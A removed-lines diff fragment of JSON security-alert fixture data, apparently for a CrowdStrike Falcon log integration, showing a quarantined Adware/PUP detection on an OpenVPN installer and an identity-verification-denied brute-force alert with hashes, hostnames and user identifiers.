-                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-                    "type": "ldt",
-                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
-                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "user_name": "mohit.jha"
-                }
-            },
-            "device": {
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "manufacturer": "LENOVO",
-                "model": {
-                    "name": "20VE"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"overwatch_note\":\"Activity Notice: OverWatch has observed XYZ\",\"overwatch_note_timestamp\":\"2025-03-01T15:31:00Z\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"rule_group_id\":\"1b27b7f123c44e15a13fe7f44801d123\",\"rule_group_name\":\"Windows Group\",\"rule_instance_created_by\":\"myuser@mydomain.com\",\"rule_instance_id\":\"123\",\"rule_instance_name\":\"INSTANCE-1\",\"rule_instance_version\":\"1\",\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-                "severity": 21,
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-            },
-            "host": {
-                "domain": "ABC.LOCAL",
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "mac": [
-                    "AB-21-48-61-05-B2"
-                ],
-                "os": {
-                    "full": "Windows11",
-                    "platform": "Windows",
-                    "type": "windows"
-                }
-            },
-            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "process": {
-                "end": "2023-11-03T18:00:21.000Z",
-                "entity_id": "399748687993",
-                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "hash": {
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                },
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "parent": {
-                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
-                    "entity_id": "392736520876",
-                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                    "hash": {
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-                    },
-                    "name": "explorer.exe",
-                    "pid": 392736520876
-                },
-                "pid": 399748687993,
-                "start": "2023-11-03T18:00:13.000Z",
-                "user": {
-                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "name": "mohit.jha"
-                }
-            },
-            "related": {
-                "hash": [
-                    "b07f77fd3f9828b2c9d61f8a36609741",
-                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "8cc3fcdd7d52d2d5221303c213e044ae",
-                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "0000000000000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "ABC.LOCAL",
-                    "ABC709-1175"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "yuvraj.mahajan",
-                    "mohit.jha"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0004"
-                    ],
-                    "name": [
-                        "MachineLearning"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0000"
-                    ],
-                    "name": [
-                        "Adware/PUP"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "name": "mohit.jha"
-            }
-        },
-        {
-            "@timestamp": "2024-08-19T18:44:01.100Z",
-            "cloud": {
-                "account": {
-                    "id": "65ddx-c454-45f9-9034-Fdf34353"
-                }
-            },
-            "crowdstrike": {
-                "alert": {
-                    "active_directory_authentication_method": 5,
-                    "activity": {
-                        "browser": "Edge 126.0.0",
-                        "device": "LAPTOP-AP7299QV",
-                        "id": "2A8A7C96-0F17-412C-8105-94542784E00D",
-                        "os": "Windows"
-                    },
-                    "agent_id": "38293534662e48c99f33c61631b3536d",
-                    "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                    "alert_attributes": 0,
-                    "cid": "4446934rf3fdb64ec3056ddfb96e",
-                    "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                    "confidence": 80,
-                    "context_timestamp": "2024-08-16T18:43:44.242Z",
-                    "crawled_timestamp": "2024-08-16T18:49:02.798Z",
-                    "created_timestamp": "2024-08-16T18:45:02.987Z",
-                    "data_domains": [
-                        "Identity"
-                    ],
-                    "description": "A user denied a policy identity verification request",
-                    "display_name": "Identity verification denied",
-                    "end_time": "2024-08-16T18:43:44.242Z",
-                    "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
-                    "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                    "idp_policy": {
-                        "mfa_factor_type": 32769,
-                        "mfa_provider": 14,
-                        "rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
-                        "rule_name": "admin - RDP Access to TIER-0 Servers"
-                    },
-                    "ldap_search_query_attack": 16,
-                    "location_country_code": "US",
-                    "location_latitude_as_int": 340726,
-                    "location_longitude_as_int": -1182610,
-                    "model_anomaly_indicators": [
-                        "ACCOUNT_IMPOSSIBLE_VELOCITY",
-                        "ENVIRONMENT_UNUSUAL_IP",
-                        "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
-                        "ISP_DATACENTER_CLASSIFICATION"
-                    ],
-                    "name": "IdpPolicyIdentityVerificationDenied",
-                    "objective": "Gain Access",
-                    "pattern_id": "51143",
-                    "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
-                    "product": "idp",
-                    "protocol_anomaly_classification": 1,
-                    "scenario": "suspicious_activity",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "severity": 79,
-                    "severity_name": "High",
-                    "show_in_ui": true,
-                    "source": {
-                        "account_azure_id": "65ddx-c454-45f9-9034-Fdf34353",
-                        "account_domain": "NET.example.com",
-                        "account_name": "admin.example",
-                        "account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79",
-                        "account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733",
-                        "account_sam_account_name": "admin.abcdef",
-                        "account_upn": "admin.abcdef@example.com",
-                        "endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0",
-                        "endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158",
-                        "endpoint_address_ip4": "81.2.69.144",
-                        "endpoint_host_name": "ABDC454.net.example.com",
-                        "endpoint_ip_address": "81.2.69.144",
-                        "endpoint_ip_reputation": 128,
-                        "endpoint_sensor_id": "38293534662e48c99f33c61631b3536d",
-                        "ip_isp_classification": 9,
-                        "ip_isp_domain": "sioru.com"
-                    },
-                    "source_products": [
-                        "Falcon Identity Protection"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "start_time": "2024-08-19T18:43:44.242Z",
-                    "status": "new",
-                    "tactic": "Credential Access",
-                    "tactic_id": "TA0006",
-                    "tags": [
-                        "falcon_complete"
-                    ],
-                    "target": {
-                        "account_name": "HFJFJFFFFFFF$",
-                        "domain_controller_host_name": "APINTAL19DC01",
-                        "domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2",
-                        "domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512",
-                        "endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E",
-                        "endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236",
-                        "endpoint_host_name": "GH787.net.example.com",
-                        "endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7",
-                        "service_access_identifier": "HOST/admin.example.com"
-                    },
-                    "technique": "Brute Force",
-                    "technique_id": "T1110",
-                    "timestamp": "2024-08-19T18:44:01.100Z",
-                    "type": "idp-user-endpoint-app-info",
-                    "updated_timestamp": "2024-08-19T18:49:02.798Z",
-                    "user_name": "admin.abcdef"
-                }
-            },
-            "destination": {
-                "domain": "GH787.net.example.com",
-                "user": {
-                    "domain": "APINTAL19DC01",
-                    "name": "HFJFJFFFFFFF$"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "end": "2024-08-16T18:43:44.242Z",
-                "id": "ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"38293534662e48c99f33c61631b3536d\",\"aggregate_id\":\"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"cid\":\"4446934rf3fdb64ec3056ddfb96e\",\"composite_id\":\"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"confidence\":80,\"context_timestamp\":\"2024-08-16T18:43:44.242Z\",\"crawled_timestamp\":\"2024-08-16T18:49:02.798354466Z\",\"created_timestamp\":\"2024-08-16T18:45:02.987127397Z\",\"data_domains\":[\"Identity\"],\"description\":\"A user denied a policy identity verification request\",\"display_name\":\"Identity verification denied\",\"end_time\":\"2024-08-16T18:43:44.242Z\",\"falcon_host_link\":\"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a\",\"id\":\"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9\",\"idp_policy_mfa_factor_type\":\"32769\",\"idp_policy_mfa_provider\":\"14\",\"idp_policy_rule_id\":\"1B82F2DE-2A08-49E0-8F85-AD46996F9A65\",\"idp_policy_rule_name\":\"admin - RDP Access to TIER-0 Servers\",\"name\":\"IdpPolicyIdentityVerificationDenied\",\"objective\":\"Gain Access\",\"pattern_id\":51143,\"poly_id\":\"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==\",\"product\":\"idp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":79,\"severity_name\":\"High\",\"show_in_ui\":true,\"source_account_azure_id\":\"65ddx-c454-45f9-9034-Fdf34353\",\"source_account_domain\":\"NET.example.com\",\"source_account_name\":\"admin.example\",\"source_account_object_sid\":\"S-14-5424-21-dfaf3-234343-3434-1567733\",\"source_account_sam_account_name\":\"admin.abcdef\",\"source_account_upn\":\"admin.abcdef@example.com\",\"source_endpoint_account_object_guid\":\"E436B3F0-078C-4629-9437-D3E3169147C0\",\"source_endpoint_address_ip4\":\"81.2.69.144\",\"source_endpoint_host_name\":\"ABDC454.net.example.com\",\"source_endpoint_ip_address\":\"81.2.69.144\",\"source_endpoint_sensor_id\":\"38293534662e48c99f33c61631b3536d\",\"source_products\":[\"Falcon Identity Protection\"],\"source_vendors\":[\"CrowdStrike\"],\"start_time\":\"2024-08-19T18:43:44.242Z\",\"status\":\"new\",\"tactic\":\"Credential Access\",\"tactic_id\":\"TA0006\",\"technique\":\"Brute Force\",\"technique_id\":\"T1110\",\"tags\":[\"falcon_complete\"],\"target_account_name\":\"HFJFJFFFFFFF$\",\"target_endpoint_account_object_guid\":\"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E\",\"target_endpoint_account_object_sid\":\"S-1-5-21-746137067-1844237615-1801674531-298236\",\"target_endpoint_host_name\":\"GH787.net.example.com\",\"target_endpoint_sensor_id\":\"ac89a368e77a4fa5837b53c7f11fc9e7\",\"timestamp\":\"2024-08-19T18:44:01.1Z\",\"type\":\"idp-user-endpoint-app-info\",\"updated_timestamp\":\"2024-08-19T18:49:02.798344752Z\",\"user_name\":\"admin.abcdef\",\"activity_browser\":\"Edge 126.0.0\",\"activity_device\":\"LAPTOP-AP7299QV\",\"activity_os\":\"Windows\",\"active_directory_authentication_method\":\"5\",\"activity_id\":\"2A8A7C96-0F17-412C-8105-94542784E00D\",\"alert_attributes\":\"0\",\"location_country_code\":\"US\",\"location_latitude_as_int\":340726,\"location_longitude_as_int\":-1182610,\"model_anomaly_indicators\":[\"ACCOUNT_IMPOSSIBLE_VELOCITY\",\"ENVIRONMENT_UNUSUAL_IP\",\"ENVIRONMENT_UNUSUAL_ISP_DOMAIN\",\"ISP_DATACENTER_CLASSIFICATION\"],\"ldap_search_query_attack\":\"16\",\"protocol_anomaly_classification\":\"1\",\"source_account_object_guid\":\"9F2CE16C-4A78-42E6-8565-87147707EE79\",\"source_endpoint_account_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-101158\",\"source_endpoint_ip_reputation\":\"128\",\"source_ip_isp_classification\":\"9\",\"source_ip_isp_domain\":\"sioru.com\",\"target_domain_controller_host_name\":\"APINTAL19DC01\",\"target_domain_controller_object_guid\":\"45A24DB7-6CD3-48C5-974F-A97159E7E2B2\",\"target_domain_controller_object_sid\":\"S-1-5-21-111111111-2222222-1417001333-85512\",\"target_service_access_identifier\":\"HOST/admin.example.com\"}",
-                "severity": 73,
-                "start": "2024-08-19T18:43:44.242Z"
-            },
-            "host": {
-                "id": "38293534662e48c99f33c61631b3536d"
-            },
-            "message": "A user denied a policy identity verification request",
-            "observer": {
-                "geo": {
-                    "country_iso_code": "US",
-                    "location": {
-                        "lat": 340726,
-                        "lon": -1182610
-                    }
-                }
-            },
-            "related": {
-                "hosts": [
-                    "NET.example.com",
-                    "ABDC454.net.example.com",
-                    "GH787.net.example.com",
-                    "APINTAL19DC01"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "admin.example",
-                    "admin.abcdef@example.com",
-                    "HFJFJFFFFFFF$",
-                    "admin.abcdef"
-                ]
-            },
-            "rule": {
-                "id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
-                "name": "admin - RDP Access to TIER-0 Servers"
-            },
-            "source": {
-                "domain": "ABDC454.net.example.com",
